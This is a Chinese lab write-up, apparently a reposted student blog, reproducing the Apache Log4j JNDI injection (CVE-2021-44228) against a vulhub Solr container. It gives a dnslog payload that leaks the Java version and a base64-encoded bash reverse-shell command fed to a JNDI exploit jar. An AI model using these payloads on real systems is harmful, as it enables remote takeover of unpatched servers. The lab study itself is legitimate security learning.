【vulhub漏洞复现】CVE-2021-44228 Apache Log4j 远程代码执行漏洞

一、漏洞详情

影响版本 Apache Log4j 2.x <= 2.14.1

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。

JNDI注入漏洞

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行。

格式 :
${jndi:rmi//127.0.0.1:1099/a}
表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。

二、复现过程

  1. 搭建docker环境

docker-compose up -d
docker-compose ps

访问端口

  1. 在dnslog上获取一个临时域名

http://www.dnslog.cn/

  1. 构造payload

http://192.168.239.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.wujr3s.dnslog.cn}

刷新一下dnslog

可以看到返回了java的版本,也就是sys:java.version的命令被成功执行

  1. 反弹shell

启动监听

下载漏洞利用的jar文件 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

git clone https://github.com/bkfish/Apache-Log4j-Learning.git

#bash反弹命令
bash -i >& /dev/tcp/192.168.239.128/19999 0>&1

用base64进行编码

注意这里一定要进到正确的目录下面!!不然会报错

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.239.128"

我们使用生成的payload

这里我选了第二个,其实都一样

构造payload

http://192.168.239.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.239.128:1389/n4fk6l}

回车!

发现监听成功了

三、总结

在反弹shell那边卡了好一会,一开始就没搞懂要干嘛,果然还是学术不精。

睡觉了睡觉了,明天又是新的学习日。

good good study,day day up。

猜你喜欢

转载自blog.csdn.net/m0_51683653/article/details/129271310